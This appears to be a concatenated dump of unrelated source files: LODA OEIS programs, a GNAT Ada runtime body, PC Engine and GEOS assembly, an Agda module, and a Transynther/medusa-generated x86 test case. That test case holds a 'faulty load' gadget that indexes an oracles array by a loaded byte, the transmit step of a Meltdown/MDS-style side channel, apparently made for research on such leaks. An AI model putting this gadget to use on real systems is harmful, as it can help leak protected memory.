; A324161: Number of zerofree nonnegative integers <= n. ; 0,1,2,3,4,5,6,7,8,9,9,10,11,12,13,14,15,16,17,18,18,19,20,21,22,23,24,25,26,27,27,28,29,30,31,32,33,34,35,36,36,37,38,39,40,41,42,43,44,45,45,46,47,48,49,50,51,52,53,54,54,55,56,57,58,59,60,61,62,63,63,64,65,66,67,68,69,70,71,72,72,73,74,75,76,77,78,79,80,81,81,82,83,84,85,86,87,88,89,90,90,90,90,90,90,90,90,90,90,90,90,91,92,93,94,95,96,97,98,99,99,100,101,102,103,104,105,106,107,108,108,109,110,111,112,113,114,115,116,117,117,118,119,120,121,122,123,124,125,126,126,127,128,129,130,131,132,133,134,135,135,136,137,138,139,140,141,142,143,144,144,145,146,147,148,149,150,151,152,153,153,154,155,156,157,158,159,160,161,162,162,163,164,165,166,167,168,169,170,171,171,171,171,171,171,171,171,171,171,171,171,172,173,174,175,176,177,178,179,180,180,181,182,183,184,185,186,187,188,189,189,190,191,192,193,194,195,196,197,198,198,199,200,201,202,203,204,205,206,207 mov $12,$0 add $12,1 lpb $12,1 clr $0,10 sub $12,1 sub $0,$12 mov $4,1 mov $5,1 add $6,4 lpb $4,1 cal $0,98736 ; a(n) = product of n and all its digits. add $4,$0 sub $4,$5 mov $6,1 lpe mov $1,$6 div $1,3 add $11,$1 lpe mov $1,$11
llvm-gcc-4.2-2.9/gcc/ada/g-excact.adb
vidkidz/crossbridge
1
16655
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- G N A T . E X C E P T I O N _ A C T I O N S -- -- -- -- B o d y -- -- -- -- Copyright (C) 2002-2005, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Unchecked_Conversion; with System; with System.Soft_Links; use System.Soft_Links; with System.Standard_Library; use System.Standard_Library; with System.Exception_Table; use System.Exception_Table; package body GNAT.Exception_Actions is Global_Action : Exception_Action; pragma Import (C, Global_Action, "__gnat_exception_actions_global_action"); -- Imported from Ada.Exceptions. Any change in the external name needs to -- be coordinated with a-except.adb Raise_Hook_Initialized : Boolean; pragma Import (Ada, Raise_Hook_Initialized, "__gnat_exception_actions_initialized"); function To_Raise_Action is new Ada.Unchecked_Conversion (Exception_Action, Raise_Action); -- ??? Would be nice to have this in System.Standard_Library function To_Data is new Ada.Unchecked_Conversion (Exception_Id, Exception_Data_Ptr); function To_Id is new Ada.Unchecked_Conversion (Exception_Data_Ptr, Exception_Id); ---------------------------- -- Register_Global_Action -- ---------------------------- procedure Register_Global_Action (Action : Exception_Action) is begin Lock_Task.all; Global_Action := Action; Unlock_Task.all; end Register_Global_Action; ------------------------ -- Register_Id_Action -- ------------------------ procedure Register_Id_Action (Id : Exception_Id; Action : Exception_Action) is begin if Id = Null_Id then raise Program_Error; end if; Lock_Task.all; To_Data (Id).Raise_Hook := To_Raise_Action (Action); Raise_Hook_Initialized := True; Unlock_Task.all; end Register_Id_Action; --------------- -- Core_Dump -- --------------- procedure Core_Dump (Occurrence : Exception_Occurrence) is separate; ---------------- -- Name_To_Id -- ---------------- function Name_To_Id (Name : String) return Exception_Id is begin return To_Id (Internal_Exception (Name, False)); end Name_To_Id; --------------------------------- -- Registered_Exceptions_Count -- --------------------------------- function Registered_Exceptions_Count return Natural renames System.Exception_Table.Registered_Exceptions_Count; ------------------------------- -- Get_Registered_Exceptions -- ------------------------------- -- This subprogram isn't an iterator to avoid concurrency problems, -- since the exceptions are registered dynamically. Since we have to lock -- the runtime while computing this array, this means that any callback in -- an active iterator would be unable to access the runtime. procedure Get_Registered_Exceptions (List : out Exception_Id_Array; Last : out Integer) is Ids : Exception_Data_Array (List'Range); begin Get_Registered_Exceptions (Ids, Last); for L in List'First .. Last loop List (L) := To_Id (Ids (L)); end loop; end Get_Registered_Exceptions; end GNAT.Exception_Actions;
oeis/105/A105851.asm
neoneye/loda-programs
11
3587
; A105851: Binomial transform triangle, read by rows. ; Submitted by <NAME> ; 1,2,1,4,3,1,8,8,4,1,16,20,12,5,1,32,48,32,16,6,1,64,112,80,44,20,7,1,128,256,192,112,56,24,8,1,256,576,448,272,144,68,28,9,1,512,1280,1024,640,352,176,80,32,10,1,1024,2816,2304,1472,832,432,208,92,36,11,1 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$0 mul $0,$1 add $0,1 mov $2,2 pow $2,$1 mul $0,$2 add $2,$0 mov $0,$2 div $0,2
programs/oeis/138/A138416.asm
jmorken/loda
1
16827
<reponame>jmorken/loda<filename>programs/oeis/138/A138416.asm ; A138416: a(n) = (p^3 - p^2)/2, where p = prime(n). ; 2,9,50,147,605,1014,2312,3249,5819,11774,14415,24642,33620,38829,50807,73034,100949,111630,148137,176435,191844,243399,282449,348524,451632,510050,541059,606797,641574,715064,1016127,1115465,1276292,1333149 cal $0,40 ; The prime numbers. mov $2,$0 bin $2,2 mul $2,$0 add $1,$2 add $1,6 mul $1,3 sub $1,24 div $1,3 add $1,2
Transynther/x86/_processed/NONE/_st_/i7-8650U_0xd2.log_6158_1497.asm
ljhsiun2/medusa
9
95341
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0xfd1f, %rbx dec %r10 movb $0x61, (%rbx) nop nop nop nop dec %rsi lea addresses_D_ht+0xdd1f, %r13 nop dec %r14 mov (%r13), %ebx nop and $40185, %rbx lea addresses_WT_ht+0x10a4d, %r13 nop cmp $37301, %r14 movups (%r13), %xmm0 vpextrq $0, %xmm0, %r10 nop nop add $1392, %r10 lea addresses_A_ht+0x1933f, %rsi lea addresses_A_ht+0x14cf, %rdi nop nop nop dec %r15 mov $31, %rcx rep movsb nop nop nop nop nop sub $41180, %rcx lea addresses_A_ht+0x14727, %rsi lea addresses_WC_ht+0x3c1f, %rdi nop nop nop xor %r15, %r15 mov $32, %rcx rep movsw and $57592, %rcx lea addresses_UC_ht+0x702f, %r15 nop nop nop xor %r13, %r13 mov (%r15), %r14w nop nop nop nop nop cmp %rcx, %rcx lea addresses_WC_ht+0x16c27, %r15 cmp $5420, %r10 mov (%r15), %rbx nop nop nop nop dec %r10 lea addresses_UC_ht+0xdd1f, %rdi xor $51769, %rcx movups (%rdi), %xmm0 vpextrq $0, %xmm0, %r13 cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi // Load lea addresses_WT+0x18777, %rbx nop nop nop cmp %r12, %r12 movb (%rbx), %al nop nop nop nop add %r15, %r15 // Store mov $0x3453970000000d1f, %rsi nop cmp $38115, %rax movl $0x51525354, (%rsi) nop nop nop nop nop xor $43330, %r12 // Store lea addresses_WC+0x1491f, %r15 nop nop nop nop nop sub %rdi, %rdi mov $0x5152535455565758, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%r15) nop nop nop xor $42233, %r15 // Store lea addresses_WC+0x1951f, %rdi nop dec %rax mov $0x5152535455565758, %rsi movq %rsi, %xmm2 movups %xmm2, (%rdi) and %rax, %rax // Store mov $0x459dd10000000e1f, %rbx nop nop nop xor $63780, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%rbx) nop nop dec %rax // Faulty Load lea addresses_WC+0x1251f, %rbx clflush (%rbx) nop nop nop dec %rsi movb (%rbx), %r15b lea oracles, %rcx and $0xff, %r15 shlq $12, %r15 mov (%rcx,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'58': 6158} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
Go To Folder.scpt
sschwartzman/go-to-folder-macos-finder-button
0
1455
<filename>Go To Folder.scpt #@osa-lang:AppleScript try tell application "Finder" activate tell application "System Events" to keystroke "g" using {shift down, command down} end tell end try
src/transitions/dr16.asm
BlockoS/up-news
2
89565
<reponame>BlockoS/up-news<gh_stars>1-10 DR16_VDC_DISPLAY_FLAG = VDC_CR_RW_INC_1 | VDC_CR_BG_ENABLE | VDC_CR_VBLANK_ENABLE DR16_VRAM_ADDR = $2000 ; [todo] main fx routine : init + dr16 ; [todo] if it takes too much cpu time, use a 64x32 BAT, draw the complete ; [todo] sequence to the 1st 32x32 and scroll back horizontally from the ; [todo] 2nd 32x32 area. ;;--------------------------------------------------------------------- ; name : dr16_draw_col ; desc : set a column in BAT for the 16x16 rotating square transition. ; in : Y ; ; out : ;;--------------------------------------------------------------------- dr16_draw_col: cpy #$08 bcc .l2 beq .l2 ; if the column size is greater than 8, jump until the remain size ; is 8 .l0: tya sec sbc #$08 sta <_ah cla lsr <_ah ror A lsr <_ah ror A clc adc <_di sta <_di lda <_ah adc <_di+1 sta <_di+1 ldy #$08 .l2: ; draw a column of 8 16x16 tiles with the rotating square tiles sty <_cl .l1: vdc_reg #VDC_MAWR lda <_di sta video_data_l clc adc #32 sta <_di lda <_di+1 sta video_data_h adc #$00 sta <_di+1 lda <_cl asl A asl A tay vdc_reg #VDC_DATA sty video_data_l stx video_data_h iny sty video_data_l stx video_data_h iny vdc_reg #VDC_MAWR lda <_di sta video_data_l clc adc #32 sta <_di lda <_di+1 sta video_data_h adc #$00 sta <_di+1 vdc_reg #VDC_DATA sty video_data_l stx video_data_h iny sty video_data_l stx video_data_h iny dec <_cl bpl .l1 rts ;;--------------------------------------------------------------------- dr16.init: vdc_reg #VDC_CR vdc_data #DR16_VDC_DISPLAY_FLAG irq_on #INT_IRQ1 irq_enable_vec #VSYNC irq_set_vec #VSYNC, #_dummy irq_disable_vec #HSYNC ; Clear BAT vdc_reg #VDC_MAWR vdc_data #$0000 vdc_reg #VDC_DATA st1 #low($2000>>4) st2 #high($2000>>4) st2 #high($2000>>4) st0 #VDC_DMA_SRC st1 #low($0000) st2 #high($0000) st0 #VDC_DMA_DST st1 #low($0002) st2 #high($0002) st0 #VDC_DMA_LEN st1 #low(32*32 - 2) st2 #high(32*32 - 2) ; Load palette stwz color_reg tia dr16.pal, color_data, 32 ; Load tiles vdc_reg #VDC_MAWR vdc_data #DR16_VRAM_ADDR vdc_reg #VDC_DATA tia dr16.gfx, video_data, dr16.end-dr16.gfx ; Set scrolling coordinates vdc_reg #VDC_BXR vdc_data #$0000 vdc_reg #VDC_BYR vdc_data #$0000 stwz <_bl cli rts ;;--------------------------------------------------------------------- ; name : dr16 ; desc : 16x16 rotating square transition. ; [todo] ; in : ; out : ;;--------------------------------------------------------------------- dr16: ; [todo] review zp var ; [todo] make it 1 pass ? ; [todo] SPRITES jsr dr16.init .l0: stwz <_si lda <_bl beq .l2 sta <_bh cla .l1: pha stw <_si, <_di ldy <_bh ldx #$02 jsr dr16_draw_col adcw #$02, <_si pla inc A cmp #16 beq .l2 dec <_bh bne .l1 .l2: vdc_wait_vsync #$03 inc <_bl lda <_bl cmp #37 bne .l0 stwz color_reg stwz color_data rts dr16.pal: .incbin "data/squares.pal" dr16.gfx: .incbin "data/squares.dat" dr16.end:
src/fot/FOTC/Data/Bool.agda
asr/fotc
11
4347
------------------------------------------------------------------------------ -- The Booleans ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} module FOTC.Data.Bool where open import FOTC.Base open import FOTC.Data.Bool.Type public infixr 6 _&&_ ------------------------------------------------------------------------------ -- Basic functions -- The conjunction. _&&_ : D → D → D a && b = if a then b else false {-# ATP definition _&&_ #-} -- The negation. not : D → D not b = if b then false else true {-# ATP definition not #-}
Library/Trans/Graphics/Vector/EPS/Export/exportHeader.asm
steakknife/pcgeos
504
172578
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: PostScript Translation Library FILE: exportHeader.asm AUTHOR: <NAME>, 5 March 1991 ROUTINES: Name Description ---- ----------- EmitHeaderComments write out postscript header comments REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 3/91 Initial revision DESCRIPTION: This contains some support routines for TransExportHeader $Id: exportHeader.asm,v 1.1 97/04/07 11:25:50 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitHeaderComments %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the header comment strings CALLED BY: INTERNAL TransExportHeader PASS: ds - pointer to locked PSCode resource es - pointer to locked options block di - handle of EPSExportLowStreamStruct RETURN: carry - set if some error from StreamWrite (ax = error code in that case) DESTROYED: nothing PSEUDO CODE/STRATEGY: copy comments from PSCode resource, insert arguments when necessary KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 02/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitHeaderComments proc near uses bx, cx, dx, di .enter ; the first thing to output is the !PS comment mov bx, di ; bx = stream block clr al ; handle errors mov dx, offset printFileID ; %!PS-Adobe-3.0 mov cx, length printFileID test es:[PSEO_flags], mask PSEF_EPS_FILE jz writeLine1 ; no, print file mov dx, offset epsFileID ; yes, EPS file mov cx, length epsFileID writeLine1: call SendToStream LONG jc done ; handle errors ; write out the %%BoundingBox line call EmitBoundingBox LONG jc done ; put the the %%Creator line EmitPS creatorComment LONG jc done push ds ; copy from option blk clr al segmov ds, es, dx mov dx, offset GEO_appName ; copy creator call CalcStringLength ; cx = length of string call SendToStream pop ds LONG jc done EmitPS emitCRLF jc done ; put in the %%CreationDate line call EmitCreationDate ; what is today ? jc done ; put in the %%DocumentData line EmitPS docData jc done call EmitPageInfo ; emit #pages... jc done ; EmitPS emitCRLF ; PageInfo already does it -> DSC error ; jc done ; put in the %%Extensions and %%LanguageLevel if needed mov ax, es:[PSEO_level] ; get extensions/level cmp ax, 1 ; if level 1, done jne checkLevel ; put the the %%Title line putTitle: EmitPS titleComment jc done push ds ; copy from option blk clr al segmov ds, es, dx mov dx, offset GEO_docName ; copy creator call CalcStringLength ; cx = length of string call SendToStream pop ds jc done EmitPS emitCRLF jc done ; put the %%EndComments line EmitPS endComments done: .leave ret ; either we're level 2, or there are extensions. checkLevel: cmp al, 1 ; check for level 2 je checkExtensions EmitPS level2 ; write out level 2 jmp putTitle ; level 1, there must be extensions checkExtensions: push ax EmitPS extensionKey ; write out keyword pop ax test ax, mask PSL_CMYK ; check for color jz checkDPS ; no, check Disp PS push ax EmitPS cmykSupport pop ax checkDPS: test ax, mask PSL_DPS ; Display PostScript ? jz checkComposite push ax EmitPS dpsSupport pop ax checkComposite: test ax, mask PSL_COMPOSITE ; composite fonts ? jz checkFile ; nope, done push ax EmitPS compositeSupport pop ax checkFile: test ax, mask PSL_FILE ; file system support ? jz putExtCR ; nope, done push ax EmitPS fileSupport pop ax putExtCR: EmitPS emitCRLF jmp putTitle EmitHeaderComments endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitPageInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the #pages, page order, etc. CALLED BY: INTERNAL EmitHeaderComments PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if problem in StreamWrite ax - if carry set, ax = error code DESTROYED: nothing PSEUDO CODE/STRATEGY: write out the %%BoundingBox: comment KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 02/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitPageInfo proc near uses cx, dx, di, si scratchBuffer local 40 dup(char) .enter ; put in %%Pages EmitPS numPages LONG jc done mov si, bx ; save stream block mov bx, es:[GEO_pages] ; get num pages push ds, es segmov es, ss, di lea di, scratchBuffer ; es:di -> scratch space call UWordToAscii ; convert #pages mov al, C_CR ; finish off the line mov ah, C_LF ; output CRLF stosw clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack mov bx, si call SendToStream ; write out the coords pop ds, es jc done ; put in %%PageOrder, but only if there is more than one page cmp es:[GEO_pages], 1 ; more than 1 page ? jbe setCopies ; no, check copies mov dx, offset ascendOrder ; assume ascending mov cx, length ascendOrder test es:[GEO_flags], mask GEF_PAGES_DESCENDING jz setPageDirection mov dx, offset descendOrder ; assume ascending mov cx, length descendOrder setPageDirection: clr al call SendToStream jc done ; put in %%Requirements comment for #copies, collate... setCopies: cmp es:[GEO_copies], 1 ; only need this if jbe doneOK ; more than 1 copy EmitPS requirements jc done mov bx, es:[GEO_copies] ; get #copies push es, ds segmov es, ss, di lea di, scratchBuffer ; es:di -> buffer call UWordToAscii ; create string mov al, ')' ; closing paren stosb clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack mov bx, si ; restore stream block call SendToStream ; write out the coords pop es, ds jc done test es:[GEO_flags], mask GEF_COLLATE ; check for collate jz writeFinalCR EmitPS reqCollate done: .leave ret ; no collate flag, so end line with a carriage return writeFinalCR: push es segmov es, ss, dx lea dx, scratchBuffer mov es:[scratchBuffer], C_CR mov es:[scratchBuffer+1], C_LF mov cx, 2 clr al call SendToStream pop es jmp done doneOK: clc ; no error jmp done EmitPageInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitBoundingBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the bounding box comment line CALLED BY: INTERNAL EmitHeaderComments PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if problem in StreamWrite ax - if carry set, ax = error code DESTROYED: nothing PSEUDO CODE/STRATEGY: write out the %%BoundingBox: comment KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 02/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitBoundingBox proc near uses bx, cx, dx scratchBuffer local 40 dup(char) .enter ; write out the bounding box. Use (0,0) for the lower left ; and (width,height) for the upper right. EmitPS boundBox jc done ; convert the bounding box coords to ascii to output push ds, es, bx push bx ; save stream block pushdw es:[GEO_docH] movdw cxbx, es:[GEO_docW] ; grab width segmov es, ss, di lea di, scratchBuffer ; es:di -> buffer mov al, '0' ; setup to write 0 mov ah, ' ' stosw stosw ; "0 0 " written call SDWordToAscii ; convert width mov al, ' ' ; space separated stosb popdw cxbx ; now do height call SDWordToAscii mov al, C_CR ; finish off the line mov ah, C_LF ; output CRLF stosw clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack pop bx ; restore stream block call SendToStream ; write out the coords pop ds, es, bx done: .leave ret EmitBoundingBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitCreationDate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the creation date comment line CALLED BY: INTERNAL EmitHeaderComments PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if problem in StreamWrite ax - if carry set, ax = error code DESTROYED: nothing PSEUDO CODE/STRATEGY: write out the %%CreationDate: comment KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 02/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitCreationDate proc near uses cx, dx scratchBuffer local 40 dup(char) .enter EmitPS creationDate jc done push ds, es push bx ; save stream block call TimerGetDateAndTime ; get the date mov cl, bh ; save day clr bh clr ch mov dx, ax ; save year segmov es, ss, di lea di, scratchBuffer call UWordToAscii ; write month mov al, '/' stosb mov bx, cx ; prepare day call UWordToAscii stosb sub dx, 1900 ; assume 1900-1999 cmp dx, 100 ; see if OK jb doYear sub dx, 100 ; surely before 2099 ; anyway, I'll be long doYear: ; dead before this is mov bx, dx ; a bug :) call UWordToAscii mov al, C_CR ; finish off the line mov ah, C_LF ; output CRLF stosw clr al mov cx, di ; cx = current pos lea dx, scratchBuffer ; compute length sub cx, dx ; cx = length segmov ds, ss, di ; ds -> stack pop bx call SendToStream ; write out the coords pop ds, es done: .leave ret EmitCreationDate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EmitDocSetup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write document setup section CALLED BY: INTERNAL TransExportBeginPage PASS: ds - points to locked PSCode resource es - points to locked options block bx - handle of EPSExportLowStreamStruct RETURN: carry - set if some error from StreamWrite (ax holds error code) DESTROYED: nothing PSEUDO CODE/STRATEGY: write out #copies... KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EmitDocSetup proc near uses bx, cx, dx scratchBuffer local 20 dup(char) .enter ; close Prolog section, start page setup section clr al ; handle errors mov dx, offset endProlog 